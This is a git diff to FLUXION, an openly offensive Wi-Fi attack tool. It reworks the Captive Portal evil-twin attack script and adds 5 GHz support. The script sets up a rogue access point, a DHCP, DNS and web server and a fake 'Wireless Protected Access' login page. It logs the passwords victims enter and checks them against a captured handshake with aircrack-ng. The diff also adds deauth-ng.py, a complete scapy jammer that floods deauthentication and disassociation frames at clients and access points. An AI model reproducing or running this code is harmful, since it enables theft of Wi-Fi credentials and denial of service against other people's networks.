diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 62ced39..e17745f 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -281,7 +281,7 @@ captive_portal_set_authenticator() { esac # Assure authentication method processing succeeded, abort otherwise. - if [[ $result -ne 0 ]]; then + if [ $result -ne 0 ] && [ "$FLUXIONDebug" == "" ]; then echo "Auth-mode error code $result!" > $FLUXIONOutputPath return 1 fi @@ -637,12 +637,12 @@ default-lease-time 600; max-lease-time 7200; subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { - option broadcast-address $CaptivePortalGatewayNetwork.255; - option routers $CaptivePortalGatewayAddress; - option subnet-mask 255.255.255.0; - option domain-name-servers $CaptivePortalGatewayAddress; + option broadcast-address $CaptivePortalGatewayNetwork.255; + option routers $CaptivePortalGatewayAddress; + option subnet-mask 255.255.255.0; + option domain-name-servers $CaptivePortalGatewayAddress; - range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; + range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; }\ " >"$FLUXIONWorkspacePath/dhcpd.conf" @@ -654,23 +654,23 @@ subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" ) accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\" fastcgi.server = ( - \".php\" => ( - ( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/tmp/fluxspace/php.socket\" - ) - ) + \".php\" => ( + ( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/tmp/fluxspace/php.socket\" + ) + ) ) server.port = 80 @@ -679,28 +679,28 @@ server.pid-file = \"/var/run/lighttpd.pid\" # server.groupname = \"www\" mimetype.assign = ( - \".html\" => \"text/html\", - \".htm\" => \"text/html\", - \".txt\" => \"text/plain\", - \".jpg\" => \"image/jpeg\", - \".png\" => \"image/png\", - \".css\" => \"text/css\" + \".html\" => \"text/html\", + \".htm\" => \"text/html\", + \".txt\" => \"text/plain\", + \".jpg\" => \"image/jpeg\", + \".png\" => \"image/png\", + \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( - \".fcgi\", - \".php\", - \".rb\", - \"~\", - \".inc\" + \".fcgi\", + \".php\", + \".rb\", + \"~\", + \".inc\" ) index-file.names = ( - \"index.htm\", - \"index.html\", + \"index.htm\", + \"index.html\", \"index.php\" ) " >"$FLUXIONWorkspacePath/lighttpd.conf" @@ -709,8 +709,8 @@ index-file.names = ( if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then echo "\ \$SERVER[\"socket\"] == \":443\" { - ssl.engine = \"enable\" - ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" + ssl.engine = \"enable\" + ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" } " >>"$FLUXIONWorkspacePath/lighttpd.conf" fi @@ -720,24 +720,24 @@ index-file.names = ( # The following will emulate Apple's and Google's internet connectivity checks. # This should help with no-internet-connection warnings in some devices. \$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. - server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" } # Respond with Google's captive response on certain domains. # Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com \$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { - server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" - url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" + url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" else echo "\ # Redirect all traffic to the captive portal when not emulating a connection. \$HTTP[\"host\"] != \"captive.gateway.lan\" { - url.redirect-code = 302 - url.redirect = ( - \"^/(.*)\" => \"http://captive.gateway.lan/\", - ) + url.redirect-code = 302 + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" fi @@ -835,12 +835,12 @@ if __name__ == '__main__': #!/usr/bin/env bash signal_stop_attack() { - kill -s SIGABRT $$ # Signal STOP ATTACK - handle_abort_authenticator + kill -s SIGABRT $$ # Signal STOP ATTACK + handle_abort_authenticator } handle_abort_authenticator() { - AuthenticatorState=\"aborted\" + AuthenticatorState=\"aborted\" } trap signal_stop_attack SIGINT SIGHUP @@ -851,12 +851,12 @@ echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" # Assure we've got a directory to store net logs into. if [ ! -d \"$CaptivePortalNetLog\" ]; then - mkdir -p \"$CaptivePortalNetLog\" + mkdir -p \"$CaptivePortalNetLog\" fi # Assure we've got a directory to store pwd logs into. if [ ! -d \"$CaptivePortalPassLog\" ]; then - mkdir -p \"$CaptivePortalPassLog\" + mkdir -p \"$CaptivePortalPassLog\" fi # Make console cursor invisible, cnorm to revert. @@ -873,109 +873,109 @@ AuthenticatorState=\"running\" startTime=\$(date +%s) while [ \$AuthenticatorState = \"running\" ]; do - let s=\$(date +%s)-\$startTime + let s=\$(date +%s)-\$startTime - d=\`expr \$s / 86400\` - s=\`expr \$s % 86400\` - h=\`expr \$s / 3600\` - s=\`expr \$s % 3600\` - m=\`expr \$s / 60\` - s=\`expr \$s % 60\` + d=\`expr \$s / 86400\` + s=\`expr \$s % 86400\` + h=\`expr \$s / 3600\` + s=\`expr \$s % 3600\` + m=\`expr \$s / 60\` + s=\`expr \$s % 60\` - if [ \"\$s\" -le 9 ]; then - is=\"0\" - else - is= - fi + if [ \"\$s\" -le 9 ]; then + is=\"0\" + else + is= + fi - if [ \"\$m\" -le 9 ]; then - im=\"0\" - else - im= - fi + if [ \"\$m\" -le 9 ]; then + im=\"0\" + else + im= + fi - if [ \"\$h\" -le 9 ]; then - ih=\"0\" - else - ih= - fi + if [ \"\$h\" -le 9 ]; then + ih=\"0\" + else + ih= + fi - if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then - # Save any new password attempt. - cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" + if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then + # Save any new password attempt. + cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" - # Clear logged password attempt. - echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" - fi + # Clear logged password attempt. + echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" + fi - if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then - cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" - echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" - echo -n > \"$FLUXIONWorkspacePath/ip_hits\" - fi + if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then + cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo -n > \"$FLUXIONWorkspacePath/ip_hits\" + fi " >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $CaptivePortalAuthenticatorMode = "hash" ]; then echo " - if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then - # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". - if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then + if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then + # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". + if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" - sleep 1 - break + sleep 1 + break - else - echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + else + echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" - fi - fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") echo " - readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) + readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) - echo - echo -e \" ACCESS POINT:\" - printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" - echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" - echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" - echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" - echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" - echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" - echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" - echo - echo -e \" CLIENTS ONLINE:\" + echo + echo -e \" ACCESS POINT:\" + printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" + echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" + echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" + echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" + echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" + echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" + echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" + echo + echo -e \" CLIENTS ONLINE:\" - x=0 - for client in \"\${DHCPClients[@]}\"; do - x=\$((\$x+1)) + x=0 + for client in \"\${DHCPClients[@]}\"; do + x=\$((\$x+1)) - ClientIP=\$(echo \$client| cut -d \" \" -f2) - ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) + ClientIP=\$(echo \$client| cut -d \" \" -f2) + ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) - if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then - ClientMAC=\"xx:xx:xx:xx:xx:xx\" - fi + if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then + ClientMAC=\"xx:xx:xx:xx:xx:xx\" + fi - ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - if echo \$ClientMAC| grep -q x; then - ClientMID=\"unknown\" - fi + if echo \$ClientMAC| grep -q x; then + ClientMID=\"unknown\" + fi - ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') + ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') - echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" - done + echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" + done - echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $CaptivePortalAuthenticatorMode = "hash" ]; then echo " - sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi echo " @@ -1027,116 +1027,122 @@ captive_portal_generic() { echo "\ - - - + + + - Wireless Protected Access: Verifying + Wireless Protected Access: Verifying - - - + + + - - - - - - -
-
-

$DIALOG_WEB_OK

-
-
- + + + + + + +
+
+

$DIALOG_WEB_OK

+
+
+ " >"$FLUXIONWorkspacePath/captive_portal/final.html" echo "\ - - - + + + - Wireless Protected Access: Key Mismatch + Wireless Protected Access: Key Mismatch - - - + + + - - - - - - - - -
-
-

$DIALOG_WEB_ERROR

- $DIALOG_WEB_BACK -
-
- + + + + + + + + +
+
+

$DIALOG_WEB_ERROR

+ $DIALOG_WEB_BACK +
+
+ " >"$FLUXIONWorkspacePath/captive_portal/error.html" echo "\ - - - + + + - Wireless Protected Access: Login + Wireless Protected Access: Login - - - + + + - - - - - - - - -
-
-
-
-
-
-
$FluxionTargetSSID ($FluxionTargetMAC)
- -
-
-
- -
-
-
- - -
- -
-
-
-
+ + + + + + + + +
+
+
+
+
+
+
$FluxionTargetSSID ($FluxionTargetMAC)
+ +
+
+
+ +
+
+
+ + +
+ +
+
+
+
- + - - + + " >"$FLUXIONWorkspacePath/captive_portal/index.html" + +if [ "$FLUXIONEnable5GHZ" != "" ];then + cp -r "$FLUXIONPath/attacks/Captive Portal/deauth-ng.py" "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py" + chmod +x "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py" +fi + } captive_portal_unset_routes() { @@ -1487,16 +1493,16 @@ start_attack() { echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" - if ! [ -x "$(command -v mdk4)" ]; then + if [ "$FLUXIONEnable5GHZ" != "" ]; then xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + "./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! else xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! fi diff --git a/attacks/Captive Portal/deauth-ng.py b/attacks/Captive Portal/deauth-ng.py new file mode 100755 index 0000000..bd07d61 --- /dev/null +++ b/attacks/Captive Portal/deauth-ng.py @@ -0,0 +1,463 @@ +#!/usr/bin/env python2 +# -*- coding: UTF-8 -*- + +from scapy.all import * + +import os +import sys +import time +import argparse + +import pyric.pyw as pyw + +from threading import Thread, Lock +from signal import SIGINT, signal + +conf.verb = 0 # Silences scapy + +# Console Colors +W = '\033[0m\033[1m' # white (normal) +R = '\033[1m\033[31m' # red +G = '\033[1m\033[32m' # green +O = '\033[1m\033[33m' # orange +B = '\033[1m\033[34m' # blue +P = '\033[1m\033[35m' # purple +C = '\033[1m\033[36m' # cyan +GR = '\033[1m\033[37m' # gray +T = '\033[1m\033[93m' # tan + +five_hertz = [ + 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, + 112, 116, 132, 136, 140, 149, 153, 157, 161, 165] + +# devnull = open(os.devnull, 'w') +threadLock = Lock() + +class wifijammer: + + def __init__(self, args): + self.mPackets = 0 + + self.clients = [] + self.APs = [] + + self.firstPass = True + + self.mIgnoreList = [ + 'ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', + '01:80:c2:00:00:00', '01:00:5e:', '01:00:0c'] + \ + [pyw.macget(pyw.getcard(x)) for x in pyw.winterfaces()] + \ + [x for x in args['skip'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())] + + # Args + self.mInterface = args["interface"] + self.mFrequency = args["frequency"] + self.mChannels = args["channel"] + self.mKill = args["kill"] + self.mDirected = args["directed"] + self.mTargets = [x for x in args['targets'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())] + self.mMaximum = int(args["maximum"]) + self.mPackets = int(args["pkts"]) + self.mTimeout = float(args["timeout"]) + self.mChannel = pyw.chget(pyw.getcard(self.mInterface)) + self.mDetailed = args['details'] + self.mLoglevel = args['loglevel'] + self.mSSID = args['ssid'] + + LogLevels={'info': logging.INFO, 'error': logging.ERROR, 'debug': logging.DEBUG, 'critical': logging.CRITICAL} + logging.basicConfig( + level=LogLevels[self.mLoglevel], + format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', + datefmt='%Y/%m/%d %H:%M:%S') + + if self.mFrequency == "2": + self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12)] + + if self.mChannels == []: + self.mChannels = list(range(1, 12)) + + elif self.mFrequency == "5": + self.mChannels = [int(x) for x in self.mChannels if int(x) in five_hertz] + + if self.mChannels == []: + self.mChannels = five_hertz + + else: + self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12) or int(x) in five_hertz] + + if self.mChannels == []: + self.mChannels = list(range(1, 12)) + five_hertz + + if pyw.modeget(self.mInterface) != 'monitor': + logging.debug('Enabling monitor mode on interface '+self.mInterface) + start_mon_mode(self.mInterface) + + if self.mKill: + os.system('pkill NetworkManager') + + conf.iface = self.mInterface + + return + + def jam(self): + self.hop = Thread(target=self.channel_hop) + self.hop.daemon = True + self.hop.start() + + signal(SIGINT, stop) + + filter_string = "" + + if len(self.mTargets) > 1: + filter_string = "ether host "+self.mTargets[0] + for client in self.mTargets[1:]: + filter_string += " or ether host " + client + + elif len(self.mTargets) == 1: + filter_string = "ether host " + self.mTargets[0].lower() + + + sniff(iface=self.mInterface, filter=filter_string, store=0, prn=self.cb) + + def channel_hop(self): + interface = pyw.getcard(self.mInterface) + channelCounter = 0 + + while 1: + if len(self.mChannels) == 1: + with threadLock: + self.mChannel = self.mChannels[0] + try: + pyw.chset(interface, int(self.mChannel), None) + except: + sys.stderr.write("Channel Hopping Failed") + else: + + with threadLock: + self.mChannel = str(self.mChannels[channelCounter]) + + channelCounter +=1 + + if channelCounter == len(self.mChannels): + channelCounter = 0 + with threadLock: + self.firstPass = False + + try: + pyw.chset(interface, int(self.mChannel), None) + except: + sys.stderr.write("Channel Hopping Failed") + + self.output() + + if len(self.mChannels) == 1: + time.sleep(.1) + + else: + if self.firstPass == 1: + time.sleep(3.5) + continue + + self.deauth() + + def output(self): + if self.mLoglevel != 'debug': + os.system('clear') + + print( + "[{0}+{1}] {2} channel {0}{3}{1}".format( + G, + W, + self.mInterface, + str(self.mChannel) + ) + ) + + if self.mDetailed: + with threadLock: + print('\n Deauthing ch ESSID') + for ca in self.clients: + if len(ca) > 3: + print( + "[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5} - {0}{6}{1}".format( + C, + W, + P, + ca[0], + ca[1], + str(ca[2]).ljust(4), + ca[3] + ) + ) + else: + print( + "[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5}".format( + C, + W, + P, + ca[0], + ca[1], + str(ca[2]).ljust(4) + ) + ) + + + with threadLock: + print('\n Access Points ch ESSID') + for ap in self.APs: + print( + "[{0}*{1}] {2}{3}{1} - {4} - {0}{5}{1} - {2}{6}{1}".format( + C, + W, + P, + ap[0], + str(ap[1]).ljust(5), + ap[2][:22].ljust(25), + str(len([x[0] for x in self.clients if x[0].lower() == ap[0].lower()])) + ) + ) + return + + def deauth(self): + pkts = [] + # print(len(self.clients), len(self.APs)) + + if len(self.clients) > 0: + with threadLock: + for x in self.clients: + client = x[0] + ap = x[1] + ch = x[2] + # print(str(ch)+":"+str(self.mChannel)) + if int(ch) == int(self.mChannel): + deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() + deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth() + disas_pkt1 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Disas() + disas_pkt2 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Disas() + pkts.append(deauth_pkt1) + pkts.append(deauth_pkt2) + + pkts.append(disas_pkt1) + pkts.append(disas_pkt2) + + if len(self.APs) > 0: + if not self.mDirected: + with threadLock: + for a in self.APs: + ap = a[0] + ch = a[1] + # print(str(ch)+":"+str(self.mChannel)) + if int(ch) == int(self.mChannel): + deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth() + pkts.append(deauth_ap) + + if len(pkts) > 0: + for p in pkts: + # print("Deauth") + send(p, inter=float(self.mTimeout), count=self.mPackets) + + def noise_filter(self, addr1, addr2): + if len([y for y in self.mIgnoreList if addr1.startswith(y) or addr2.startswith(y)]) > 0: + return True + return False + + def cb(self, pkt): + if pkt.haslayer(Dot11): + if pkt.addr1 and pkt.addr2: + pkt.addr1 = pkt.addr1.lower() + pkt.addr2 = pkt.addr2.lower() + + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + self.APs_add(pkt) + + # Ignore all the noisy packets like spanning tree + + if self.noise_filter(pkt.addr1, pkt.addr2): + return + + # Management = 1, data = 2 + if pkt.type in [1, 2]: + self.clients_add(pkt.addr1, pkt.addr2) + return + + def APs_add(self, pkt): + ssid = get_ssid(pkt[Dot11Elt].info) + bssid = pkt.addr3.lower() + + try: + # Thanks to airoscapy for below + if int(self.mChannel) < 14: + ap_channel = str(ord(pkt[Dot11Elt:3].info)) + else: + dot11elt = pkt.getlayer(Dot11Elt, ID=61) + + + ap_channel = ord(dot11elt.info[-int(dot11elt.len):-int(dot11elt.len)+1]) + except: + ap_channel = self.mChannel + + # print(ap_channel, self.mChannels, self.mChannel, ap_channel) + + if int(ap_channel) not in self.mChannels: + return + + if self.mSSID and ssid != self.mSSID: + return + + # except Exception as e: + # return + + for ap in self.APs: + if bssid == ap[0]: + return + + with threadLock: + return self.APs.append([bssid, ap_channel, ssid]) + + def clients_add(self, addr1, addr2): + if len(self.clients) == 0: + if len(self.APs) == 0: + with threadLock: + return self.clients.append([addr1, addr2, self.mChannel]) + else: + self.AP_check(addr1, addr2) + + # Append new clients/APs if they're not in the list + else: + for ca in self.clients: + if addr1 in ca and addr2 in ca: + return + + if len(self.APs) > 0: + return self.AP_check(addr1, addr2) + else: + with threadLock: + return self.clients.append([addr1, addr2, self.mChannel]) + + def AP_check(self, addr1, addr2): + for ap in self.APs: + if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): + with threadLock: + return self.clients.append([addr1, addr2, ap[1], ap[2]]) + +def stop(signal=None, frame=None): + sys.exit('\r['+R+'!'+W+'] Closing') + +def parse_args(): + # Args to add: + # No update? + # Multiple interfaces? + # Disas for disassociation + + # Features: + # Timer and packet count in top bar + + parser = argparse.ArgumentParser() + + parser.add_argument("-i", "--interface", + action="store", + dest="interface", + help="select an interface", + choices=[x for x in pyw.winterfaces()], + required=True) + + parser.add_argument("-f", "--frequency", + action="store", + default="2", + dest="frequency", + help="select a frequency (2/5/all)", + choices=["2", "5", "all"]) + + parser.add_argument("-c", "--channel", + action="store", + default=[], + dest="channel", + nargs="*", + help="select a channel") + + parser.add_argument("-k", "--kill", + action="store_true", + dest="kill", + help="sudo kill interfering processes.") + + parser.add_argument("-m", "--maximum", + default=9999, + dest="maximum", + help="Maximum length of client list before it is reset") + + parser.add_argument("-t", "--timeinterval", + dest="timeout", + default=0.001, + help="Time between deauth pkts") + + parser.add_argument("-p", "--pkts", + default="5", + dest="pkts", + help="Choose the number of pkts to send in each deauth burst.") + + parser.add_argument("-d", "--directedonly", + default=False, + dest="directed", + action='store_true', + help="Only send targeted client based deauths",) + + parser.add_argument("-a", "--accesspoint", + nargs='*', + default=[], + dest="targets", + help="Enter the SSID or MAC address of a specific access point[s] to target") + + parser.add_argument("-s", "--skip", + nargs='*', + default=[], + dest="skip", + help="Skip deauthing this MAC address") + + parser.add_argument("-D", "--details", + default=False, + dest="details", + action='store_true', + help="Detailed print out like default wifijammer") + + parser.add_argument("-l", "--loglevel", + default='info', + dest="loglevel", + help="Logging level") + + parser.add_argument("-S", "--ssid", + dest='ssid', + help='SSID Filter', + ) + + return vars(parser.parse_args()) + +def get_ssid(p): + if p and u"\x00" not in "".join([x if ord(x) < 128 else "" for x in p]): + + try: + name = p.decode("utf-8") # Remove assholes emojis in SSID's + except: + name = unicode(p, errors='ignore') + + else: + name = (("< len: {0} >").format(len(p))) + + return name + +def start_mon_mode(interface): + print ('Starting monitor mode off') + try: + os.system('ip link set %s down' % interface) + os.system('iwconfig %s mode monitor' % interface) + os.system('ip link set %s up' % interface) + return interface + except Exception: + sys.exit('Could not start monitor mode') + +def main(): + jammer = wifijammer(parse_args()) + jammer.jam() + return + +if __name__ == "__main__": + main() diff --git a/fluxion.sh b/fluxion.sh index 80a6853..19f0c17 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -22,15 +22,20 @@ readonly FLUXIONNoiseFloor=-90 readonly FLUXIONNoiseCeiling=-60 readonly FLUXIONVersion=5 -readonly FLUXIONRevision=4 +readonly FLUXIONRevision=5 # Declare window ration bigger = smaller windows FLUXIONWindowRatio=4 # Allow to skip dependencies if required, not recommended FLUXIONSkipDependencies=1 + +# Check if there are any missing dependencies FLUXIONMissingDependencies=0 +# Allow to use 5ghz support +FLUXIONEnable5GHZ=0 + # ============================================================ # # ================= < Script Sanity Checks > ================= # # ============================================================ # @@ -83,11 +88,11 @@ source "$FLUXIONLibPath/HelpUtils.sh" # =================== < Parse Parameters > =================== # # ============================================================ # if ! FLUXIONCLIArguments=$( - getopt --options="vdkrinmtbhe:c:l:a:r" \ - --longoptions="debug,version,killer,installer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies" \ + getopt --options="vdk5rinmtbhe:c:l:a:r" \ + --longoptions="debug,version,killer,5ghz,installer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies" \ --name="FLUXION V$FLUXIONVersion.$FLUXIONRevision" -- "$@" ); then - echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5: + echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5 fi AttackCLIArguments=${FLUXIONCLIArguments##* -- } @@ -111,6 +116,7 @@ while [ "$1" != "" ] && [ "$1" != "--" ]; do -h|--help) fluxion_help; exit;; -d|--debug) readonly FLUXIONDebug=1;; -k|--killer) readonly FLUXIONWIKillProcesses=1;; + -5|--5ghz) FLUXIONEnable5GHZ=1;; -r|--reloader) readonly FLUXIONWIReloadDriver=1;; -n|--airmon-ng) readonly FLUXIONAirmonNG=1;; -m|--multiplexer) readonly FLUXIONTMux=1;; @@ -273,7 +279,7 @@ fluxion_startup() { echo # Do not remove. local requiredCLITools=( - "aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" + "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools"